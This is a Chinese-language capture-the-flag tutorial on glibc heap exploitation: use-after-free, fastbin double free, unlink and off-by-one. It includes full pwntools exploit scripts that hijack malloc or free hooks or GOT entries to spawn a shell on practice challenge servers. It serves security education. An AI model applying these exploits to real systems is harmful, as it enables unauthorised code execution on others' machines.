堆入門之常見漏洞利用

本文結合具體的題目,對基於堆的常見漏洞利用方式,包括洩露libc基地址的常見方式、Use After Free、fastbin attack、Unlink和Off By One進行了梳理,包含必要的調試過程和圖解~

leak_libc的幾種常見方式

在堆題中幾乎不會出現含有後門函數直接getshell的情況,這時可以採取的一種對策也是通過洩露libc的基址,進而計算得到system或其他函數的實際地址,下面總結一些常見洩露地址的方法:

(一)洩露main_arena地址

漏洞原理:當我們free一個small_chunk的時候,如果此時fastbin為空,那麼我們的small_chunk就會加入unsorted_bin中,而unsorted_bin中free_chunk的fd和bk指向了main_arena中的位置,這樣如果存在類似UAF等漏洞,可以實現在free small_chunk後再次打印small_chunk的內容也即fd指針,就能夠實現洩露main_arena的實際地址。

利用條件:

(1)能夠申請到small chunk大小範圍內的內存塊

(2)能夠結合其他漏洞點(UAF或double free等)實現洩露釋放後內存塊的內容

(3)釋放的內存塊不是當前在堆上申請的最後一個內存塊

(4)釋放small chunk時,fastbins數組為空

題目:buuoj——jarvisoj_itemboard

WP:

這種漏洞在ubuntu18的環境下似乎無法實現洩露地址,下面的過程在ubuntu16.04的環境下進行:

首先在ida中分析程序,主要功能有:add,list,show,remove,其中發現remove函數中的set_null函數是一個空函數,即程序存在UAF漏洞,看到有show函數,滿足洩露main_arena地址的條件。進一步分析add()和item_free()可以發現申請內存的結構是這樣的:

堆入門之常見漏洞利用

於是我們首先申請small_bin大小範圍內的(global_max_fast默認值為0x80)chunk作為description的內容:

堆入門之常見漏洞利用

接著free chunk[0],可以看到size=0x90的chunk加入了unsorted bin,同時該chunk free後的fd和bk的確指向了main_arena中的位置:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

堆入門之常見漏洞利用

main_arena函數的地址在相應libc文件的malloc_trim()函數里進行初始化:

堆入門之常見漏洞利用

main_arena的位置與__malloc_hook相差0x10,

堆入門之常見漏洞利用

<code>add('aaaa',0x80)
add('bbbb',0x80) #?
remove(0)
show(0)
ru("Description:")
leak_addr=u64(p.recv(6).ljust(8,'\\\\x00'))
print hex(leak_addr)
lbase=leak_addr-libc.symbols['__malloc_hook']-0x10-88
system=lbase+libc.symbols['system']/<code>

於是如上即可洩露libc基址,得到system函數的實際地址,接著我們再次利用UAF漏洞:

注:在32位的程序中,main_arena的位置與__malloc_hook相差0x18,同時加入到unsorted bin中的small chunk的fd和bk通常指向<main>的位置/<main>

<code>add('aaaa',32)
add('bbbb',32)
remove(2)
remove(3)
#add('cccc',24,'$0;'+'a'*13+p64(system))
add('cccc',24,'/bin/sh;'+'a'*8+p64(system))
remove(2)/<code>
堆入門之常見漏洞利用

堆入門之常見漏洞利用

堆入門之常見漏洞利用

堆入門之常見漏洞利用

可以看到接著malloc新的chunk時是fastbins中FILO規則:

堆入門之常見漏洞利用

第二次malloc大小為24的chunk作為description的內容,根據16字節對齊原則實際上申請的chunk大小為0x20,也就是當初的chunk[2],這樣我們就能覆蓋chunk[2]->name為/bin/sh;,chunk[2]->函數地址為實際的system函數地址

堆入門之常見漏洞利用


由於UAF漏洞,當再次free chunk[2]時,就會執行函數getshell了:

堆入門之常見漏洞利用


完整的exp如下:

<code>from pwn import *
context(log_level='debug',arch='amd64')

local=1
binary_name='itemboard'
if local:

p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25289)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
def add(name,lenth,content='a'):
ru("choose:\\n")
sl('1')
sla("Item name?\\n",name)
sla("len?\\n",str(lenth))
sla("Description?\\n",content)
ru("Add Item Successfully!\\n")
def show(idx):
ru("choose:\\n")
sl('3')
sla("Which item?\\n",str(idx))
def remove(idx):
ru("choose:\\n")
sl('4')
sla("Which item?\\n",str(idx))
#ru("The item has been removed\\n")

#程序開啟了ASLR,我在本地關閉了它所以調試的時候是固定地址
z('b *0x555555554bba\\nb *0x555555554c6c\\nb *0x555555554e37\\nb *0x555555554ef6')
add('aaaa',0x80)
add('bbbb',0x80)
remove(0)
show(0)
ru("Description:")
leak_addr=u64(p.recv(6).ljust(8,'\\\\x00'))
print hex(leak_addr)
lbase=leak_addr-libc.symbols['__malloc_hook']-0x10-88
system=lbase+libc.symbols['system']
add('aaaa',32)
add('bbbb',32)
remove(2)

remove(3)
#這裡必須有分號分隔命令,因為從上面的調試過程可以看出在我們調用free函數時rdi指向的內容是我們輸入的24字節全部內容
#add('cccc',24,'$0;'+'a'*13+p64(system))
add('cccc',24,'/bin/sh;'+'a'*8+p64(system))
remove(2)
p.interactive()/<code>

(二)修改能夠執行到的函數的got表為打印函數(如puts,write等)的地址

利用此方法洩露地址需要同時構造打印函數的參數,這個參數是我們利用的got表存放的原函數的參數值,具體說明見下unlink中的 stkof 一題的第二步

(三)在能夠查看內存分配的環境下,通過申請大內存塊(0x21000字節及以上),利用mmap到的內存塊地址與libc基址之間的固定偏移量洩露地址

例題:見下off_by_one中的Asis_b00ks

UAF - use after free

漏洞原理:如字面意思,當我們釋放(free)相應內存的指針卻沒有將其設置為NULL時,再次使用(use)這一內存塊程序有可能會正常運轉或出現很多奇怪的問題,下面通過一道例題結合調試進行進一步說明。

題目:Hitcon-Training lab10

wp:

查看反彙編,發現del_note( )函數中在free內存塊後並沒有將其設置為NULL,所以存在UAF漏洞。

同時,發現後門函數magic,分析add_note( )函數:

堆入門之常見漏洞利用

我們申請的chunk結構是這樣的

堆入門之常見漏洞利用

每次執行print_note()時便會調用前四個字節中的函數,所以我們希望能夠將前四個字節覆蓋成magic()。因此我們利用use after free,在free掉note之後,利用寫入content內容將note的前四個字節覆蓋成我們的magic函數地址。

下面藉助調試進一步解釋:

首先在兩個malloc()和兩個free()函數處下斷點:

堆入門之常見漏洞利用

第一次add中malloc後出現了note的內存塊:

堆入門之常見漏洞利用

第二次malloc處,輸入size為16,content為'aaaa\\n'後出現了content內存塊,同時查看相應內存塊中存儲的內容可以發現note內存塊中的前四個字節為print_note_content函數地址,後四個字節為content內存塊的地址,而content內存塊中則是輸出的字符串內容:

堆入門之常見漏洞利用

根據程序可以看出先釋放content內存塊,第一次free()後,的確在fastbin[2]處出現了第一個content內存塊,回收free chunk:

堆入門之常見漏洞利用


接著釋放第一個note內存塊,在fastbin[0]處出現,同時查看兩個內存塊存儲的內容,可以發現前四個字節都被存儲成NULL(fd指針),後四個字節沒有進行修改:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

在兩個note均被free後,可以看出在fastbin[0]和fastbin[2]處都形成了單鏈表,通過free_chunk的前四個字節存儲bk*:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

再次add後的第一個malloc函數後,可以看出從fastbin[0]的鏈表頭處摘下一個chunk,也是free前申請的第二個note內存塊,作為note內存塊:

堆入門之常見漏洞利用

輸入size為8和content為magic函數地址後,原先申請的第一個note內存塊作為了新的content內存塊,查看相應內存中的內容可以看到與預期相符:

堆入門之常見漏洞利用

當我們繼續將該note打印出來的時候可以看到:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

說明成功劫持程序流,exp如下:

<code>from pwn import *
context(log_level='debug')

#p=remote()
p=process('./hacknote')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
def add(size,content):
ru("Your choice :")
sl('1')
ru("Note size :")
sl(str(size))
ru("Content :")
sl(content)
def delete(idx):

ru("Your choice :")
sl('2')
ru("Index :")
sl(str(idx))
def pri(idx):
ru("Your choice :")
sl('3')
ru("Index :")
sl(str(idx))
#任意字節數都可,但不能是8(note內存塊的可用大小),因為如果是8的話,申請的note內存塊和存儲content的內存塊都在同一個fastbin單鏈表中,再次add時會使用free掉的content內存塊而不是note內存塊,會出現奇怪的問題。
add(16,'a')
add(16,'b')
delete(0)
delete(1)
magic=0x08048986
add(8,p32(magic))
pri(0)
p.interactive()/<code>

除了上面這種常見的利用方式,UAF漏洞還可以用於構造出多個指針指向同一個chunk的情況,因為釋放的chunk指針卻沒有制空,我們再次申請聽一個內存塊就會導致這種情況,通常可用於洩露地址

fastbin_attack

漏洞原理:與其他的bin不同,fastbin利用單鏈表進行連接,同時在fastbin中的chunk釋放時不會前/後向合併。於是,如果我們能夠控制fastbin中free chunk的fd指針,我們就能申請到任意地址的chunk塊進行操作:

堆入門之常見漏洞利用

在把free chunk加入fastbin中時,會check一下當前的chunk是否與fastbin頂部的chunk(鏈表的尾結點)相同,如果相同則報錯並退出。因此,我們不能連續釋放兩次相同的chunk,但是隻要在中間添加一個chunk便可繞過檢查,進行double free:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

堆入門之常見漏洞利用

這裡我們加入fastbin數組中的單鏈表的地址是整個chunk的起始地址,而不是user_data的起始處,並且上述情形中對於fake_chunk是有size大小要求的,這是因為在將chunk加入fastbin時會計算需要加入的fastbin數組的下標:

<code>##define fastbin_index(sz)                                                      
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)/<code>

這裡把sz轉換成了unsigned int ,也就是隻取低四個字節,然後右移4並減2,這樣我們的size 0x????????xxxxxxx? 中的?可以是任意值。

另:由於在Glibc 2.27中新加入了tcache機制,而tcache與fastbin很相似且限制更少,所以fastbin attack在tcache中的應用更為方便。

利用條件:

(1)能夠申請到fastbins大小範圍的chunk

(2)有UAF或者堆溢出等漏洞,能夠修改釋放狀態下chunk的FD指針

題目: buuoj——babyheap_0ctf_2017

WP:

分析程序,首先查看保護,發現所有保護全開,FULL RELRD 說明我們不能改寫got表進行洩露,同時開啟了ASLR。程序在一開始進行了內存映射操作,得到隨即地址:

堆入門之常見漏洞利用

分析Allocate()函數發現在這一隨機地址上,每24個字節作為一個結構體,具體結構如下:

堆入門之常見漏洞利用

且申請內存的時候使用了calloc()函數,會自動在申請內存後進行清零,所以我們無法在double free small chunk後直接洩露地址,但是在開啟隨即地址化的情況下,調試可以發現我們allocate到的第一個chunk的起始地址最後12位都是0。接著分析Fill()函數發現可以向chunk塊中寫入任意size的內容,典型的堆溢出。接著,分析Free()函數發現沒有UAF漏洞,無法利用,最後Dump函數會輸出chunk中申請的size大小的內存內容。

所以,綜合來看我們可以利用堆溢出漏洞偽造fake chunk,結合fastbin double free實現多指針指向同一chunk塊,從而洩露地址,覆蓋malloc_hook地址來getshell。下面結合調試過程進行進一步說明:

第一步,利用堆溢出漏洞,修改free狀態下fastbin中chunk的fd指針:

<code>alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x90)#4
free(1)
free(2)#2->fd=1
fill(3,p64(0)*3+p64(0x21))
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'\\\\x80')#2->fd=4/<code>

為了修改chunk2的fd指針,我們需要先把大小在small chunk範圍內的chunk4的size偽造成0x21的狀態,前文提到過在開啟了隨即地址化的情況下我們每次allocate到的第一個chunk的地址後12bit都是0,由於在free(1) free(2)後chunk2本身的fd指針為chunk1地址且堆地址是連續的,這樣雖然在開啟PIE保護的情況下我們無法得到準確的堆地址,我們也可以通過partial write,進行一定的推算,從chunk0開始覆蓋chunk2的fd指針的最後一個字節為\\\\x80,從而指向chunk4:

堆入門之常見漏洞利用

第二步,通過連續malloc操作,使下標為2和4的指針指向了同一個大小為0x90的chunk,這樣我們在釋放chunk4後仍然可以通過dump chunk2的內容洩露地址,注意在釋放chunk4之前我們需要先把size修改正確:

<code>alloc(0x10)#1->2
alloc(0x10)#2->4
alloc(0x60)#5
fill(3,p64(0)*3+p64(0xa1))
free(4)
dump(2)
leak_addr=u64(p.recv(8))
print hex(leak_addr)
offset=leak_addr-88-libc.sym['__malloc_hook']-0x10
print hex(offset)/<code>

第三步,我們故技重施,只不過這次我們需要將fd指針覆蓋成__malloc_hook地址前一段距離處:

<code>alloc(0x60)#4
alloc(0x60)#6
alloc(0x60)#7
free(6)
free(7)
fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))/<code>

通過查看__malloc_hook地址前一段的內容,可以找到一個合適的fake_chunk起始地址,使其size大小為0x7f,能夠成功繞過idx計算,並加入到fastbin[5]中,成為chunk7中fd指向的chunk,我們能夠這樣操作的原因是因為堆管理器並不會對加入到fastbin數組中的chunk進行內存對齊的檢查:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

最後連續malloc兩次就可以對該地址進行寫操作了,通過寫入內容覆蓋__malloc_hook為one_gadget的地址,當再次執行calloc()函數時就能夠執行one_gadget,從而getshell:

<code>alloc(0x60)#6->7
alloc(0x60)#7->fake_chunk
one_gadget=0x4526a
fill(7,'a'*19+p64(offset+one_gadget))
alloc(0x10)/<code>

完整的exp如下:

<code>from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')


local=0
binary_name='babyheap'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26728)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def alloc(size):
sla("Command: ",'1')
sla("Size: ",str(size))

def fill(idx,content):
sla("Command: ",'2')
sla("Index: ",str(idx))
sla("Size: ",str(len(content)))
sla("Content: ",content)

def free(idx):
sla("Command: ",'3')
sla("Index: ",str(idx))

def dump(idx):
sla("Command: ",'4')
sla("Index: ",str(idx))
ru("Content: \\n")
z('b *0x555555554dcc\\nb *0x555555555022\\nb *0x555555555113\\nb *0x555555554F43')
alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x90)#4
free(1)
free(2)#2->fd=1

fill(3,p64(0)*3+p64(0x21))
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'\\\\x80')#2->fd=4
alloc(0x10)#1->2
alloc(0x10)#2->4
alloc(0x60)#5
fill(3,p64(0)*3+p64(0xa1))
free(4)
dump(2)
leak_addr=u64(p.recv(8))
print hex(leak_addr)
offset=leak_addr-88-libc.sym['__malloc_hook']-0x10
print hex(offset)
alloc(0x60)#4
alloc(0x60)#6
alloc(0x60)#7
free(6)
free(7)
fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))
alloc(0x60)#6->7
alloc(0x60)#7->fake_chunk
one_gadget=0x4526a
fill(7,'a'*19+p64(offset+one_gadget))
alloc(0x10)
p.interactive()/<code>

unlink

漏洞原理:當我們釋放一個chunk塊的時候,堆管理器會檢查當前chunk的前後chunk是否為釋放狀態,若是則會把釋放狀態的前後塊與當前塊合併(大小在fastbin範圍中的chunk塊除外),這時就會出現把已經釋放的chunk塊從雙向循環鏈表中取出的操作:

<code>FD->bk=BK
BK->fd=FD
#FD存儲前一個chunk塊的地址,FD->bk=FD+24/12
#BK存儲後一個chunk塊的地址,BK->fd=BK+16/8/<code>

如果我們能夠偽造chunk塊的FD和BK指針,我們就能進行一定的漏洞攻擊。這裡討論當前在unlink過程中已經加入檢查的情況:

<code>//檢查1:FD->bk==BK->fd==P
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
//檢查2:物理相鄰的下一個chunk塊的pre_size==size
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");/<code>

為了繞過檢查我們可以這樣構造(64位):

<code>#--!>注意這裡我們的指針P一直指的是進行unlink的chunk的地址
FD = &P - 0x18
BK = &P - 0x10/<code>

這樣在unlink操作時:

<code>FD -> bk = BK ==> *(&P - 0x18+ 0x18) = &P -0x10
BK -> fd = FD ==> *(&P - 0x10+ 0x10) = &P -0x18/<code>

最終達到的效果便是:

<code>P = &P - 0x18/<code>

這樣我們便成功篡改了chunk指針值,可以向&P-0x18就相當於我們新的fake_chunk。

利用條件:

(1)能夠知道存儲了進行unlink操作的chunk塊指針的地址(一般在程序中用一個數組存放)

(2)能夠改寫釋放chunk的FD和BK指針,當然能夠結合堆溢出等操作偽造chunk的釋放狀態也可以達到相同的效果

題目:buuoj —— stkof

WP:

分析程序,add()函數不限制申請chunk塊的大小,同時把申請到chunk塊的地址存放到一個地址為0x602140的數組中,edit()函數可以自定義輸入內容的長度,明顯的堆溢出,delete()函數正常釋放堆塊,無UAF漏洞。於是,我們的利用思路如下:

第一步,我們申請small chunk大小範圍的chunk,並利用edit()函數的堆溢出漏洞,在第二個chunk中構造fake_chunk和FD\\BK指針,再溢出覆蓋第三個chunk的pre_size為0x90,這樣一來可以偽造chunk2的釋放狀態,二來可以繞過unlink時對物理相鄰的nextchunk的pre_size位的檢查,隨後釋放chunk3觸發unlink機制:

<code>add(0x90)#1->這道題沒有設置IO緩衝區,我們需要先申請一個chunk塊以免對後續操作造成影響
add(0x90)#2
add(0x90)#3
s_start=0x602148 #add()函數中::s[++dword_602100] = v2; 所以存儲指針數組的下標從1開始而不是0
pd=p64(0)+p64(0x90)+p64(s_start+8-0x18)+p64(s_start+8-0x10)
pd=pd.ljust(0x90,'\\\\x00')
pd+=p64(0x90)+p64(0xa0)
edit(2,pd)
delete(3)/<code>

具體的堆結構如下:

堆入門之常見漏洞利用


堆入門之常見漏洞利用


unlink後:*(s_start+8) = s_start+8-0x18,成功在存放指針的數組中篡改了chunk2的地址:

堆入門之常見漏洞利用

第二步,向chunk2中寫入pd,實際上是覆蓋了存儲chunk指針數組的內容,造成任意地址寫:

<code>pd=p64(0)*2+p64(e.got['free'])+p64(e.got['puts'])+p64(e.got['atoi'])
edit(2,pd)
edit(1,p64(e.plt['puts']))
sl('3')
sl(str(2))
leak_addr=leak_address()
libc=LibcSearcher('puts',leak_addr)/<code>

這裡我們分別覆蓋s[1]為free()函數的got表地址,s[2]為puts()函數的got表,這樣向chunk1(s[1])中寫入puts()函數的plt表,就是向free()函數的got表地址中寫入puts()函數地址,當我們釋放chunk2時,會去free()函數的got表處取puts()函數地址。同時,由於free()函數的參數是s[2]:

堆入門之常見漏洞利用


s[2]已經被覆蓋成了puts()函數的got表地址,因此我們能夠成功打印got表地址,洩露libc基址。

第三步,由於之前我們同時覆蓋了s[3]為atoi()函數的got表地址,我們向其填充system()函數的地址,當函數執行到下一個循環時會調用atoi()函數,參數是我們輸入的字符串:

堆入門之常見漏洞利用

<code>offset=leak_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')

bin_sh=offset+libc.dump('str_bin_sh')
edit(3,p64(sys_addr))
sl('/bin/sh\\\\x00')/<code>

完整的exp如下:

<code>from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='stkof'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26749)
e=ELF("./"+binary_name)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
leak=u32(p.recv(4))
print hex(leak)
return leak
else :
leak=u64(p.recv(6).ljust(8,'\\\\x00'))
print hex(leak)
return leak

def add(size):
sl('1')
sl(str(size))
ru("OK\\n")
def edit(idx,pd):
sl('2')
sl(str(idx))

sl(str(len(pd)))
sd(pd)
ru("OK\\n")
def delete(idx):
sl('3')
sl(str(idx))
ru("OK\\n")

z('b *0x40097C\\nb *0x400ACA\\nb *0x400B7A\\n')
add(0x90)#1
add(0x90)#2
add(0x90)#3
s_start=0x602148
pd=p64(0)+p64(0x90)+p64(s_start+8-0x18)+p64(s_start+8-0x10)
pd=pd.ljust(0x90,'\\\\x00')
pd+=p64(0x90)+p64(0xa0)
edit(2,pd)
delete(3)
pd=p64(0)*2+p64(e.got['free'])+p64(e.got['puts'])+p64(e.got['atoi'])
edit(2,pd)
edit(1,p64(e.plt['puts']))
sl('3')
sl(str(2))
leak_addr=leak_address()
libc=LibcSearcher('puts',leak_addr)
offset=leak_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
edit(3,p64(sys_addr))
sl('/bin/sh\\\\x00')
p.interactive()/<code>

off_by_one

典型情況:存在控制寫入字節數的邊界條件不當且恰好溢出一個字節 ,例如:strlen()函數返回的字符串字節數不包含結束符'\\\\x00',而strcpy()函數會拷貝結束符等函數特點,當我們可以控制的字節必須為'\\\\x00'的時候,這種漏洞也叫作off_by_null

漏洞原理:在系統分配的堆內存上,如果我們可以控制寫入最後的一個字節,往往能夠造成指針指向我們偽造的內存塊上的情況

題目:buuoj —— asis2016_b00ks

WP:

分析程序,首先要求我們輸入author name,這一部分在邊界問題上存在off_by_one漏洞:判斷輸入的邊界條件是0≤i≤32,所以我們可以控制author name的前33個字符,同時*buf=0會讓在我們輸入的字符串的最後寫入'\\\\x00':

堆入門之常見漏洞利用

堆入門之常見漏洞利用

堆入門之常見漏洞利用


查看author name寫入的位置可以發現輸入author name的字符串會被放在unk_202040的bss變量段存儲起來,距離第一個book_struct指針32個字節,所以我們可以控制第一個book_struct的最後一個字節為任意字節,但是程序會在我們輸入字符串的最後加入\\\\x00,利用時需要注意這一點:

堆入門之常見漏洞利用

分析create()函數:發現book_name book_description和book_struct在堆上分配,同時unk_202060的位置存放book結構體的指針,每個結構體的大小為32字節,具體結構如下:

堆入門之常見漏洞利用

分析delete()函數,不存在UAF漏洞,分析edit()函數,發現可以修改description但是不存在堆溢出漏洞,分析print()函數,發現%s輸出存在\\\\x00截斷的問題,如果能覆蓋結束字符就可以實現洩露地址,程序還存在change_author函數,可以多次控制我們第一個book_struct指針。

所以,考慮先洩露地址,隨後通過洩露的地址執行system("/bin/sh"),一開始我的思路是通過偽造book_struct的description的位置為book2的description的地址,從而構造出多指針指向small_chunk的description的情況,再釋放該description的chunk,這樣雖然沒有UAF漏洞,我們依然可以洩露出main_arena的地址,但是繼續分析程序會發現我們只能一次性偽造book1_struct,即:book1_struct的最後一個字節只能構造成'\\\\x00',這樣無法實現任意地址寫,繼而無法執行system("/bin/sh"),為了實現任意地址寫,我們必須利用book2_struct中存儲的ptr_name和ptr_description,這裡便用到了另一種洩露地址的方法:通過申請很大的內存塊,使得堆管理器通過mmap的方式拓展內存,利用mmap到的內存地址與libc基地址的固定偏移量洩露地址。

下面通過具體的調試過程進一步說明(本地環境關閉ASLR且環境為Ubuntu16.04):

第一步,通過%s輸出到\\\\x00結合邊界不當洩露堆地址:

<code>ru("Enter author name: ")
pd='a'*0x20
sl(pd)
create(0x90,'a',0x90,'a')#1
show()
ru('a'*0x20)
book1_addr=leak_address()
print hex(book1_addr)/<code>

可以看到在遠程開啟PIE的環境下每次洩露的堆地址的後三個十六進制位也都是相同的,這裡是160:

堆入門之常見漏洞利用

堆入門之常見漏洞利用


第二步:

<code>create(0x21000,'b',0x21000,'b')#2
name_addr=book1_addr+0x38
pd='a'*0x40+p64(1)+p64(name_addr)*2+'\\\\xff'
edit(1,pd)
pd='a'*0x20
change_author(pd)
show()
ru("Name: ")
leak_addr=leak_address()
print hex(leak_addr)/<code>

通過申請大內存塊(0x21000字節及以上)使用mmap方式拓展內存,於是我們可以推導出堆分佈:

堆入門之常見漏洞利用


接著,在堆上0x555555758100處構造fake_struct,使fake_struct的ptr_name和ptr_description都是book2_struct中的name內存塊的指針的地址,在這裡:查看my_read函數知道我們向book中寫入description的字節數是受size大小控制的,注意需要合理構造。隨後,利用change_author函數,覆蓋book1_struct的最後一個字節為\\\\x00,指向我們構造的fake_struct,這樣當我們打印book1的信息時可以洩露mmap到的name內存塊的地址,再查看本次mmap時libc的基地址:

堆入門之常見漏洞利用

利用在開啟了PIE機制的同一環境下雖然每次libc基地址隨機,但是第一次mmap到的地址和libc基地址之間的偏移量固定的特點可以洩露libc基地址:

<code>offset=0x7ffff7fb8010-0x7ffff7a0d000
libc_base=leak_addr-offset
bin_sh=libc_base+libc.search("/bin/sh").next()
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']/<code>

最後,我們利用修改book1_struct的description,也即向book2_struct的name_ptr中寫入bin_sh的地址和free_hook的地址,實現向free_hook地址中寫入system函數地址,同時查看具體delete函數可以得知system()的參數是原來name_ptr中的內容,這裡我們已經把name_ptr改寫成bin_sh的地址,即可getshll:

堆入門之常見漏洞利用

<code>pd=p64(bin_sh)+p64(free_hook)
edit(1,pd)
edit(2,p64(system))
dele(2)/<code>

完整的exp如下:

<code>from pwn import *
context(log_level='debug',arch='amd64')

local=0
binary_name='books'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27070)
e=ELF("./"+binary_name)
libc=ELF("./libc-2.23-64.so")

def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
return u64(p.recv(6).ljust(8,'\\\\x00'))

def create(size_name,name,size_des,des):
ru("> ")
sl("1")
ru("Enter book name size: ")
sl(str(size_name))
ru("Enter book name (Max 32 chars): ")
sl(name)
ru("Enter book description size: ")
sl(str(size_des))
ru("Enter book description: ")
sl(des)


def dele(idx):
ru("> ")
sl("2")
ru("Enter the book id you want to delete: ")
sl(str(idx))

def edit(idx,des):
ru("> ")
sl("3")
ru("Enter the book id you want to edit: ")
sl(str(idx))
ru("Enter new book description: ")
sl(des)

def show():
ru("> ")
sl("4")

def change_author(author):
ru("> ")
sl("5")
ru("Enter author name: ")
sl(author)

z('b *0x555555554fc3\\nb *0x55555555506c\\nb *0x5555555550ff\\nb *0x555555554ca6\\nb *0x555555554ccc\\nb *0x555555554cee\\nb *0x555555554f2b\\nb *0x555555554b94\\n')
ru("Enter author name: ")
pd='a'*0x20
sl(pd)
create(0x90,'a',0x90,'a')#1
show()
ru('a'*0x20)
book1_addr=leak_address()
print hex(book1_addr)
create(0x21000,'b',0x21000,'b')#2
#create(0x20,'/bin/sh\\\\x00',0x20,'c')#3 -->這裡是getshell的第二種方式,大同小異
name_addr=book1_addr+0x38
#des3_addr=book1_addr+0xd0
#pd='a'*0x40+p64(1)+p64(name_addr)+p64(des3_addr)+'\\\\x10'
pd='a'*0x40+p64(1)+p64(name_addr)*2+'\\\\xff'
edit(1,pd)
pd='a'*0x20
change_author(pd)
show()
ru("Name: ")
leak_addr=leak_address()
print hex(leak_addr)
offset=0x7fd8d0b0d010-0x7fd8d0547000 #遠程環境的偏移量,具體見下注

libc_base=leak_addr-offset
bin_sh=libc_base+libc.search("/bin/sh").next()
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
pd=p64(bin_sh)+p64(free_hook)
edit(1,pd)
edit(2,p64(system))
dele(2)
p.interactive()/<code>

注:

大家應該發現之前我們洩露地址的時候需要在本地查看內存分佈情況,但是在遠程的機器上我無法做到這一點,在我不斷嘗試的過程中發現如果釋放非法內存可以得到遠程內存的回顯:

堆入門之常見漏洞利用

堆入門之常見漏洞利用

這樣,結合此次洩露出的地址,情況便和在本地的時候一樣了。

注:

1.調試環境為關閉了ASLR的Ubuntu 16.04

2.本文涉及的題目除Hitcon-Training lab10(https://github.com/scwuaptx/HITCON-Training)之外,在buuoj.cn平臺上均有靶機可供實驗

ARM漏洞利用技術五--堆溢出

http://hetianlab.com/expc.do?ce=cbfd131e-02c6-44dd-bb96-63137948166b

(堆是一個更復雜的內存位置,主要是因為它的管理方式。放置在堆內存部分中的每個對象都“打包”成一個“塊”,它包含header頭部和userdata用戶數據兩部分(有時由用戶完全控制)。在堆的情況下,當用戶能夠寫入比預期更多的數據時,會發生內存損壞)

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!


分享到:


相關文章: